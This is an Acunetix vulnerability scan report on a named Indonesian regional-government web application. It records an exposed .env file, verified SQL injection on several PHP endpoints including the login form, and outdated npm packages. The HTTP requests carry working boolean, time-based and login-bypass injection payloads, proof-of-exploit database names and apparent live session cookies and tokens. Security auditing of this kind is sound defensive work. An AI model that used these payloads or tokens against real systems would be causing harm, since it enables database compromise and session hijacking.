Acunetix
by Invicti

# Affected Items Report

Acunetix Security Audit

2024-05-24

Generated by Acunetix

# Scan of sibkd.semarangkab.go.id

## Scan details

| Scan information | |
|---|---|
| Start time | 2024-05-24T13:51:32.419585+07:00 |
| Start url | http://sibkd.semarangkab.go.id/ |
| Host | sibkd.semarangkab.go.id |
| Scan time | 390 minutes, 7 seconds |
| Profile | Full Scan |
| Server information | Apache/2.4.6 (CentOS) PHP/5.6.22 |
| Responsive | True |
| Server OS | Unix |
| Server technologies | PHP |
| Scan status | aborted |
| Application build | 15.2.221208162 |

### Threat level

#### Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

### Alerts distribution

| Total alerts found | 50 |
|---|---|
| High | 12 |
| Medium | 15 |
| Low | 10 |
| Informational | 13 |

## Affected items

| /simpeg/ | |
|---|---|
| **Alert group** | **Dotenv .env file (verified)** |
| Severity | High |
| Description | A dotenv file (**.env**) was found in this directory. Dotenv files are used to load environment variables from a .env file into the running process.<br><br>This file may expose sensitive information that could help a malicious user to prepare more advanced attacks. It's recommended to remove or restrict access to this type of files from production systems. |
| Recommendations | Remove or restrict access to all configuration files acessible from internet. |
| Alert variants | |
| Details | File: **.env**<br>Pattern found:<br><br>`APP_ENV=` |

```
GET /simpeg/.env HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| /sib/module/combo_formasi_per_pd.php | |
|---|---|
| **Alert group** | **SQL injection (verified)** |
| Severity | High |
| Description | SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server. |
| Recommendations | Use parameterized queries when dealing with SQL queries that contain user input. Parameterized queries allow the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection. |
| Alert variants | |

| | |
|---|---|
| Details | URL encoded GET input **idskpd** was set to **1/(3*2-5)**<br><br>Tests performed:<br><br>• 1*1 => **TRUE**<br>• 1*313*308*0 => **FALSE**<br>• (319-313-5) => **TRUE**<br>• 1/1 => **TRUE**<br>• 1/0 => **FALSE**<br>• 1/(3*2-5) => **TRUE**<br><br>Original value: **1**<br><br>**Proof of Exploit**<br><br>SQL query - SELECT database()<br><br>dnt_simpeg2018 |

```
GET /sib/module/combo_formasi_per_pd.php?idskpd=1/(3*2-5) HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://sibkd.semarangkab.go.id/

Cookie: XSRF-
TOKEN=eyJpdiI6IkdsMHhacTdNUjBKTUxEWUgrWnorTFE9PSIsInZhbHVlIjoidFdhWlB0cGQ0NTFkc3JmUHNTSU8
1K01JN0pLc2JObzFDQ3JmY1pHZEhrbVwvVnpwaGRvMW1WOUZnaHZEYXhrYlVVOFlKTldwUGt1Q1VLSXFKeDZ0Qk9n
PT0iLCJtYWMiOiJiMWZlZmM2OTYwY2Q3MjJjMjgzOTdiY2FlMWNjMWM2Y2FhZDczZTMzMTliNjUxMDg3M2MwNGY4O
Dk0MWM0YjNiIn0%3D;
bkdblora2016_session_=eyJpdiI6IlYwaFVsRHkrdzlsdjhxVFo1QTZoSHc9PSIsInZhbHVlIjoiZ0tHMlZTMTB
tU3FnN1BMbXlFQVwvckg4Z2hWU0ErVm9ZbzV5ZEtINTVDSjNRQWhLM05WbFJORUduQ2JRRXAxTlMrbGtkQThHV0VW
SENSdmpWcEVMNmpBPT0iLCJtYWMiOiIwMDZiYTY2NzM3ZmVmZjJiMjQ1ODEwM2UyYTM4ZjRmMGM5ZmVlMjE5ZDcwY
jNiOTdkYTRmMzFlMGJiYWQyZjRjIn0%3D;
laravel_session=eyJpdiI6IlExaUNPRSs5bGttNHZrNDNJWDM2Q2g3MGh6cGtLYjNpdUtYakgrVWN4XC80PSIsI
nZhbHVlIjoiTTZxSFpZbnhPc1BSeUxiZGphMkRzcjJsb2wyZzJ5MzFkTGRjS2JFY0dRTzc1RktYSjlVWFdsNjhuNn
NhZXNwS0c0NzRoYUxBWkNkTVJocmhFWjVMMlE9PSIsIm1hYyI6IjJiNmFlY2UwZDdlZGNmYTc5MTg4MDc0NzNhZDY
0MmJjYTBmM2EwMDgyZjhmZjVmOWViMjU1OTRjMTkzZTU0MmYifQ%3D%3D;
PHPSESSID=j67mrogk2vag6bkbk0e1ji70r4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| | |
|---|---|
| **/sib/module/combo_formasi_per_pd_only.php** | |
| **Alert group** | **SQL injection (verified)** |

| | |
|---|---|
| Severity | High |
| Description | SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server. |
| Recommendations | Use parameterized queries when dealing with SQL queries that contain user input. Parameterized queries allow the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection. |
| Alert variants | |
| Details | URL encoded GET input **idskpd** was set to **1/(3*2-5)**<br><br>Tests performed:<br><br>• 1*1 => **TRUE**<br>• 1*853*848*0 => **FALSE**<br>• (859-853-5) => **TRUE**<br>• 1/1 => **TRUE**<br>• 1/0 => **FALSE**<br>• 1/(3*2-5) => **TRUE**<br><br>Original value: **1**<br><br>**Proof of Exploit**<br><br>SQL query - SELECT database()<br><br>`dnt_simpeg2018` |

```
GET /sib/module/combo_formasi_per_pd_only.php?idskpd=1/(3*2-5) HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://sibkd.semarangkab.go.id/

Cookie: XSRF-
TOKEN=eyJpdiI6IjB0cEhtdWttSjg5V3dhdnlkam9CM1E9PSIsInZhbHVlIjoicklsSFdFQXM3ZSt0QWhwTTBxZlF
LN3l6alpMXC9HWWRVMDA1OFA3RzRqUGVodVF1WXJtN2VrcGU4TW1LaUtyWTFPMitOQUpxYmp3bmdwZDBSejRZVlFR
PT0iLCJtYWMiOiI2OTQ5YjA0Y2EzNzg4MGMxM2NmZDJhZTczY2I1OGVkYWY0MDYyMDYzNGI3N2M0ZmExYjM4NmIzZ
DBkNTJiMDQ5In0%3D;
bkdblora2016_session_=eyJpdiI6ImhaeWJmcXBZXC9TbkNTSFVpczhEaWtRPT0iLCJ2YWx1ZSI6Ik52Skp6aXV
UNHV4SFArUFlhMjBqT2NTUGlwVzFia01mck1CSHhFUURSWmlLWTY3bU4zdXp2YUMrUWJCSFlTa2t2MjVsVzVxeURJ
YWY2Uk14aDJaVTdBPT0iLCJtYWMiOiIwZDZiNTkzZTc1OGM0ZjRhYzViNGQ3OWVjY2I2YjdlZWVkODE3ZjU0ODhiM
2VlYjI4N2VmYTZkOGJkNmQzYzc5In0%3D;
laravel_session=eyJpdiI6ImdjWlpRaUJBRkkwYlgwNjg1YlNJcUNoZFBXWG56WnlXbVQ3NCtlcjZDWHc9Iiwid
mFsdWUiOiJFcTBQSENnY1ArXC9NcjFPNHNncXZyZHRcL2thcTA1UFJ5V0lIaXBZU0NocWhlVW1RU0txM2d1ZUlIcU
xiTG1sYnd0QVNVS1QxWVhVVHRuWEV6VGtvdkR3PT0iLCJtYWMiOiI0MWYwYmYxZTBhMjU0ZDI1YTc2NTg3ZGM0ZGQ
1NDYzNDEzNThjYjM2YWZmNmY0ZTFmYzBlNjgxZGJiNGM2MzJhIn0%3D;
PHPSESSID=j67mrogk2vag6bkbk0e1ji70r4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **/sib/module/get_lokasi_jabatan.php** | |
|---|---|
| **Alert group** | **SQL injection (verified)** |
| Severity | High |
| Description | SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server. |
| Recommendations | Use parameterized queries when dealing with SQL queries that contain user input. Parameterized queries allow the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection. |
| Alert variants | |

| | |
|---|---|
| Details | URL encoded GET input **nip** was set to **0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z**<br><br>Tests performed:<br><br>• 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => **15.25**<br>• 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => **6.266**<br>• 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => **15.265**<br>• 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z => **3.362**<br>• 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => **0.27**<br>• 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => **0.272**<br>• 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => **6.252**<br><br>Original value: **1** |

```
GET /sib/module/get_lokasi_jabatan.php?nip=0'XOR(if(now()=sysdate()%2Csleep(6)%2C0))XOR'Z
HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://sibkd.semarangkab.go.id/

Cookie: XSRF-
TOKEN=eyJpdiI6InFsaVdvQzNFYXJQamVhdGRTcWxidGc9PSIsInZhbHVlIjoidXQ4M25RR0lGb2xFUmx5NVZPM0V
SaG53WXcxUGxMVWFySW5oZG9FcXVOS2J4UjVvaFhxV3BQa1VtUzMyYm9WdFdsN3FIVXVVWHp6UVV0TlArc2RPT2c9
PSIsIm1hYyI6Ijk4MjNiOTg0MmMwOTdjNzliYzBkMWI1NDAxZDE5Nzc2Zjc2MmY5MzU0MDJiNGQ0MGQ5Yzk1ZjkxN
mMzY2I2MjcifQ%3D%3D;
bkdblora2016_session_=eyJpdiI6IlJzd1Fac2k3TFdjNm9yQVlSNjIwQ3c9PSIsInZhbHVlIjoibnpibHBaRG5
6RzY5NEdkSzJQdWZEblYzT3Zmc2lSbHpWSnVIbWExM2FLd2ZcL1JcL3FnMUNGTU9nWXgrT0h0UkhKZ0dMODd6WWI2
NFU0dVJ4TWtIalJjUT09IiwibWFjIjoiOTE3YTExYjNlNjNkMzNjNzdjNGZmOTlhOWI4MmM3MDIyZGRhMmZjZDAwZ
mNjNjE1NmQ3NDc3MTFkNGFiYWQ3YiJ9;
laravel_session=eyJpdiI6ImdjWlpRaUJBRkkwYlgwNjg1YlNJcUNoZFBXWG56WnlXbVQ3NCtlcjZDWHc9Iiwid
mFsdWUiOiJFcTBQSENnY1ArXC9NcjFPNHNncXZyZHRcL2thcTA1UFJ5V0lIaXBZU0NocWhlVW1RU0txM2d1ZUlIcU
xiTG1sYnd0QVNVS1QxWVhVVHRuWEV6VGtvdkR3PT0iLCJtYWMiOiI0MWYwYmYxZTBhMjU0ZDI1YTc2NTg3ZGM0ZGQ
1NDYzNDEzNThjYjM2YWZmNmY0ZTFmYzBlNjgxZGJiNGM2MzJhIn0%3D;
PHPSESSID=j67mrogk2vag6bkbk0e1ji70r4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **/sib/module/get_max_formasi.php** | |
|---|---|
| **Alert group** | **SQL injection (verified)** |
| Severity | High |
| Description | SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server. |

| | |
|---|---|
| Recommendations | Use parameterized queries when dealing with SQL queries that contain user input. Parameterized queries allow the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection. |
| Alert variants | |
| Details | URL encoded GET input **idskpd** was set to **if(now()=sysdate(),sleep(6),0)**<br><br>Tests performed:<br><br>• if(now()=sysdate(),sleep(15),0) => **15.037**<br>• if(now()=sysdate(),sleep(15),0) => **15.038**<br>• if(now()=sysdate(),sleep(0),0) => **0.021**<br>• if(now()=sysdate(),sleep(3),0) => **3.023**<br>• if(now()=sysdate(),sleep(6),0) => **6.025**<br>• if(now()=sysdate(),sleep(0),0) => **0.037**<br>• if(now()=sysdate(),sleep(6),0) => **6.02**<br><br>Original value: **1** |

```
GET /sib/module/get_max_formasi.php?idskpd=if(now()=sysdate()%2Csleep(6)%2C0) HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://sibkd.semarangkab.go.id/

Cookie: XSRF-
TOKEN=eyJpdiI6IjB0cEhtdWttSjg5V3dhdnlkam9CM1E9PSIsInZhbHVlIjoicklsSFdFQXM3ZSt0QWhwTTBxZlF
LN3l6alpMXC9HWWRVMDA1OFA3RzRqUGVodVF1WXJtN2VrcGU4TW1LaUtyWTFPMitOQUpxYmp3bmdwZDBSejRZVlFR
PT0iLCJtYWMiOiI2OTQ5YjA0Y2EzNzg4MGMxM2NmZDJhZTczY2I1OGVkYWY0MDYyMDYzNGI3N2M0ZmExYjM4NmIzZ
DBkNTJiMDQ5In0%3D;
bkdblora2016_session_=eyJpdiI6ImhaeWJmcXBZXC9TbkNTSFVpczhEaWtRPT0iLCJ2YWx1ZSI6Ik52Skp6aXV
UNHV4SFArUFlhMjBqT2NTUGlwVzFia01mck1CSHhFUURSWmlLWTY3bU4zdXp2YUMrUWJCSFlTa2t2MjVsVzVxeURJ
YWY2Uk14aDJaVTdBPT0iLCJtYWMiOiIwZDZiNTkzZTc1OGM0ZjRhYzViNGQ3OWVjY2I2YjdlZWVkODE3ZjU0ODhiM
2VlYjI4N2VmYTZkOGJkNmQzYzc5In0%3D;
laravel_session=eyJpdiI6ImdjWlpRaUJBRkkwYlgwNjg1YlNJcUNoZFBXWG56WnlXbVQ3NCtlcjZDWHc9Iiwid
mFsdWUiOiJFcTBQSENnY1ArXC9NcjFPNHNncXZyZHRcL2thcTA1UFJ5V0lIaXBZU0NocWhlVW1RU0txM2d1ZUlIcU
xiTG1sYnd0QVNVS1QxWVhVVHRuWEV6VGtvdkR3PT0iLCJtYWMiOiI0MWYwYmYxZTBhMjU0ZDI1YTc2NTg3ZGM0ZGQ
1NDYzNDEzNThjYjM2YWZmNmY0ZTFmYzBlNjgxZGJiNGM2MzJhIn0%3D;
PHPSESSID=j67mrogk2vag6bkbk0e1ji70r4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **/sib/module/login.php** | |
|---|---|
| **Alert group** | **SQL injection (verified)** |
| Severity | High |

| | |
|---|---|
| Description | SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server. |
| Recommendations | Use parameterized queries when dealing with SQL queries that contain user input. Parameterized queries allow the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection. |
| Alert variants | |
| Details | POST (multipart) input **username** was set to **-1' OR 3*2*1=6 AND 000201=000201 --**<br><br>Tests performed:<br><br>• -1' OR 2+201-201-1=0+0+0+1 -- => **TRUE**<br>• -1' OR 3+201-201-1=0+0+0+1 -- => **FALSE**<br>• -1' OR 3*2<(0+5+201-201) -- => **FALSE**<br>• -1' OR 3*2>(0+5+201-201) -- => **FALSE**<br>• -1' OR 2+1-1+1=1 AND 000201=000201 -- => **FALSE**<br>• -1' OR 3*2=5 AND 000201=000201 -- => **FALSE**<br>• -1' OR 3*2=6 AND 000201=000201 -- => **TRUE**<br>• -1' OR 3*2*0=6 AND 000201=000201 -- => **FALSE**<br>• -1' OR 3*2*1=6 AND 000201=000201 -- => **TRUE**<br><br>Original value: **kYaZsHyN**<br><br>**Proof of Exploit**<br><br>SQL query - SELECT database()<br><br>`sib_db` |

```
POST /sib/module/login.php HTTP/1.1

Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw

Accept: */*

X-Requested-With: XMLHttpRequest

Referer: http://sibkd.semarangkab.go.id/

Content-Length: 236

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive



------------YWJkMTQzNDcw

Content-Disposition: form-data; name="username"



-1' OR 3*2*1=6 AND 000201=000201 --

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="password"



u]H[ww6KrA9F.x-F

------------YWJkMTQzNDcw--
```

| **/sib/module/posting_usulan.php** | |
|---|---|
| **Alert group** | **SQL injection (verified)** |
| Severity | High |
| Description | SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server. |
| Recommendations | Use parameterized queries when dealing with SQL queries that contain user input. Parameterized queries allow the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection. |
| Alert variants | |

| | |
|---|---|
| Details | URL encoded GET input **nip** was set to **0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z**<br><br>Tests performed:<br><br>• 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => **15.038**<br>• 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => **15.171**<br>• 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z => **3.393**<br>• 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => **6.205**<br>• 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => **0.171**<br>• 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => **0.163**<br>• 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => **6.259**<br><br>Original value: **1** |

```
GET /sib/module/posting_usulan.php?nip=0'XOR(if(now()=sysdate()%2Csleep(6)%2C0))XOR'Z
HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://sibkd.semarangkab.go.id/

Cookie: XSRF-
TOKEN=eyJpdiI6IjB0cEhtdWttSjg5V3dhdnlkam9CM1E9PSIsInZhbHVlIjoicklsSFdFQXM3ZSt0QWhwTTBxZlF
LN3l6alpMXC9HWWRVMDA1OFA3RzRqUGVodVF1WXJtN2VrcGU4TW1LaUtyWTFPMitOQUpxYmp3bmdwZDBSejRZVlFR
PT0iLCJtYWMiOiI2OTQ5YjA0Y2EzNzg4MGMxM2NmZDJhZTczY2I1OGVkYWY0MDYyMDYzNGI3N2M0ZmExYjM4NmIzZ
DBkNTJiMDQ5In0%3D;
bkdblora2016_session_=eyJpdiI6ImhaeWJmcXBZXC9TbkNTSFVpczhEaWtRPT0iLCJ2YWx1ZSI6Ik52Skp6aXV
UNHV4SFArUFlhMjBqT2NTUGlwVzFia01mck1CSHhFUURSWmlLWTY3bU4zdXp2YUMrUWJCSFlTa2t2MjVsVzVxeURJ
YWY2Uk14aDJaVTdBPT0iLCJtYWMiOiIwZDZiNTkzZTc1OGM0ZjRhYzViNGQ3OWVjY2I2YjdlZWVkODE3ZjU0ODhiM
2VlYjI4N2VmYTZkOGJkNmQzYzc5In0%3D;
laravel_session=eyJpdiI6ImdjWlpRaUJBRkkwYlgwNjg1YlNJcUNoZFBXWG56WnlXbVQ3NCtlcjZDWHc9Iiwid
mFsdWUiOiJFcTBQSENnY1ArXC9NcjFPNHNncXZyZHRcL2thcTA1UFJ5V0lIaXBZU0NocWhlVW1RU0txM2d1ZUlIcU
xiTG1sYnd0QVNVS1QxWVhVVHRuWEV6VGtvdkR3PT0iLCJtYWMiOiI0MWYwYmYxZTBhMjU0ZDI1YTc2NTg3ZGM0ZGQ
1NDYzNDEzNThjYjM2YWZmNmY0ZTFmYzBlNjgxZGJiNGM2MzJhIn0%3D;
PHPSESSID=j67mrogk2vag6bkbk0e1ji70r4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **/sib/module/posting_usulan_kebutuhan.php** | |
|---|---|
| **Alert group** | **SQL injection (verified)** |
| Severity | High |
| Description | SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server. |

| | |
|---|---|
| Recommendations | Use parameterized queries when dealing with SQL queries that contain user input. Parameterized queries allow the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection. |
| Alert variants | |
| Details | URL encoded GET input **idskpd** was set to **0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z**<br><br>Tests performed:<br><br>• 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => **15.297**<br>• 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => **6.059**<br>• 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => **15.286**<br>• 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z => **3.064**<br>• 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => **0.089**<br>• 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z => **0.104**<br>• 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z => **6.06**<br><br>Original value: **1** |

```
GET /sib/module/posting_usulan_kebutuhan.php?
idskpd=0'XOR(if(now()=sysdate()%2Csleep(6)%2C0))XOR'Z HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://sibkd.semarangkab.go.id/

Cookie: XSRF-
TOKEN=eyJpdiI6IjB0cEhtdWttSjg5V3dhdnlkam9CM1E9PSIsInZhbHVlIjoicklsSFdFQXM3ZSt0QWhwTTBxZlF
LN3l6alpMXC9HWWRVMDA1OFA3RzRqUGVodVF1WXJtN2VrcGU4TW1LaUtyWTFPMitOQUpxYmp3bmdwZDBSejRZVlFR
PT0iLCJtYWMiOiI2OTQ5YjA0Y2EzNzg4MGMxM2NmZDJhZTczY2I1OGVkYWY0MDYyMDYzNGI3N2M0ZmExYjM4NmIzZ
DBkNTJiMDQ5In0%3D;
bkdblora2016_session_=eyJpdiI6ImhaeWJmcXBZXC9TbkNTSFVpczhEaWtRPT0iLCJ2YWx1ZSI6Ik52Skp6aXV
UNHV4SFArUFlhMjBqT2NTUGlwVzFia01mck1CSHhFUURSWmlLWTY3bU4zdXp2YUMrUWJCSFlTa2t2MjVsVzVxeURJ
YWY2Uk14aDJaVTdBPT0iLCJtYWMiOiIwZDZiNTkzZTc1OGM0ZjRhYzViNGQ3OWVjY2I2YjdlZWVkODE3ZjU0ODhiM
2VlYjI4N2VmYTZkOGJkNmQzYzc5In0%3D;
laravel_session=eyJpdiI6ImdjWlpRaUJBRkkwYlgwNjg1YlNJcUNoZFBXWG56WnlXbVQ3NCtlcjZDWHc9Iiwid
mFsdWUiOiJFcTBQSENnY1ArXC9NcjFPNHNncXZyZHRcL2thcTA1UFJ5V0lIaXBZU0NocWhlVW1RU0txM2d1ZUlIcU
xiTG1sYnd0QVNVS1QxWVhVVHRuWEV6VGtvdkR3PT0iLCJtYWMiOiI0MWYwYmYxZTBhMjU0ZDI1YTc2NTg3ZGM0ZGQ
1NDYzNDEzNThjYjM2YWZmNmY0ZTFmYzBlNjgxZGJiNGM2MzJhIn0%3D;
PHPSESSID=j67mrogk2vag6bkbk0e1ji70r4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **/portal/** | |
|---|---|
| **Alert group** | **Vulnerable package dependencies [high]** |
| Severity | High |

| | |
|---|---|
| Description | One or more packages that are used in your web application are affected by known vulnerabilities. Please consult the details section for more information about each affected package. |
| Recommendations | It's recommended to update the vulnerable packages to the latest version (if a fix exists). If a fix does not exist, you may want to suggest changes that address the vulnerability to the package maintainer or remove the package from your dependency tree. |
| Alert variants | |

| | |
|---|---|
| Details | List of vulnerable **npm** packages:<br><br>**Package:** ansi-regex<br>**Version:** 2.1.1<br>**CVE:** CVE-2021-3807<br>**Title:** Inefficient Regular Expression Complexity<br>**Description:** ansi-regex is vulnerable to Inefficient Regular Expression Complexity<br>**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:C<br>**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H<br>**CWE:** CWE-1333<br>**References:**<br>• https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9<br>• https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994<br>• https://www.oracle.com/security-alerts/cpuapr2022.html<br>• https://security.netapp.com/advisory/ntap-20221014-0002/<br><br>**Package:** async<br>**Version:** 1.5.2<br>**CVE:** CVE-2021-43138<br>**Title:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')<br>**Description:** In Async before 2.6.4 and 3.x before 3.2.2, a malicious user can obtain privileges via the mapValues() method, aka lib/internal/iterator.js createObjectIterator prototype pollution.<br>**CVSS V2:** AV:N/AC:M/Au:N/C:P/I:P/A:P<br>**CVSS V3:** CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H<br>**CWE:** CWE-1321<br>**References:**<br>• https://github.com/caolan/async/blob/master/lib/mapValuesLimit.js<br>• https://jsfiddle.net/oz5twjd9/<br>• https://github.com/caolan/async/blob/master/lib/internal/iterator.js<br>• https://github.com/caolan/async/commit/e1ecdbf79264f9ab488c7799f4c76996d5dca66d<br>• https://github.com/caolan/async/pull/1828<br>• https://github.com/caolan/async/blob/v2.6.4/CHANGELOG.md#v264<br>• https://github.com/caolan/async/compare/v2.6.3...v2.6.4<br>• https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MTEUUTNIEBHGKUKKLNUZSV7IEP6IP3Q3/<br>• https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UM6XJ73Q3NAM5KSGCOKJ2ZIA6GUWUJLK/<br><br>**Package:** axios<br>**Version:** 0.17.1<br>**CVE:** CVE-2019-10742<br>**Title:** Improper Handling of Exceptional Conditions<br>**Description:** Axios up to and including 0.18.0 allows attackers to cause a denial of service (application crash) by continuing to accepting content after maxContentLength is exceeded.<br>**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:P<br>**CVSS V3:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H<br>**CWE:** CWE-755<br>**References:**<br>• https://github.com/axios/axios/pull/1485<br>• https://github.com/axios/axios/issues/1098<br>• https://app.snyk.io/vuln/SNYK-JS-AXIOS-174505<br><br>**Package:** axios<br>**Version:** 0.17.1 |

**CVE:** CVE-2021-3749
**Title:** Inefficient Regular Expression Complexity
**Description:** axios is vulnerable to Inefficient Regular Expression Complexity
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:N/A:C
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-1333
**References:**

- https://github.com/axios/axios/commit/5b457116e31db0e88fede6c428e969e87f290929
- https://huntr.dev/bounties/1e8f07fc-c384-4ff9-8498-0690de2e8c31
- https://www.oracle.com/security-alerts/cpujul2022.html
- https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf
- https://lists.apache.org/thread.html/r7324ecc35b8027a51cb6ed629490fcd3b2d7cf01c424746ed5744bf1%40%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/rfc5c478053ff808671aef170f3d9fc9d05cc1fab8fb64431edc66103%40%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/r216f0fd0a3833856d6a6a1fada488cadba45f447d87010024328ccf2%40%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/r3ae6d2654f92c5851bdb73b35e96b0e4e3da39f28ac7a1b15ae3aab8%40%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/ra15d63c54dc6474b29f72ae4324bcb03038758545b3ab800845de7a1%40%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/r74d0b359408fff31f87445261f0ee13bdfcac7d66f6b8e846face321%40%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/rc263bfc5b53afcb7e849605478d73f5556eb0c00d1f912084e407289%40%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/r4bf1b32983f50be00f9752214c1b53738b621be1c2b0dbd68c7f2391%40%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/r075d464dce95cd13c03ff9384658edcccd5ab2983b82bfc72b62bb10%40%3Ccommits.druid.apache.org%3E
- https://lists.apache.org/thread.html/rfa094029c959da0f7c8cd7dc9c4e59d21b03457bf0cedf6c93e1bb0a%40%3Cdev.druid.apache.org%3E

**Package:** debug
**Version:** 2.6.9
**CVE:** CVE-2017-20165
**Title:** Inefficient Regular Expression Complexity
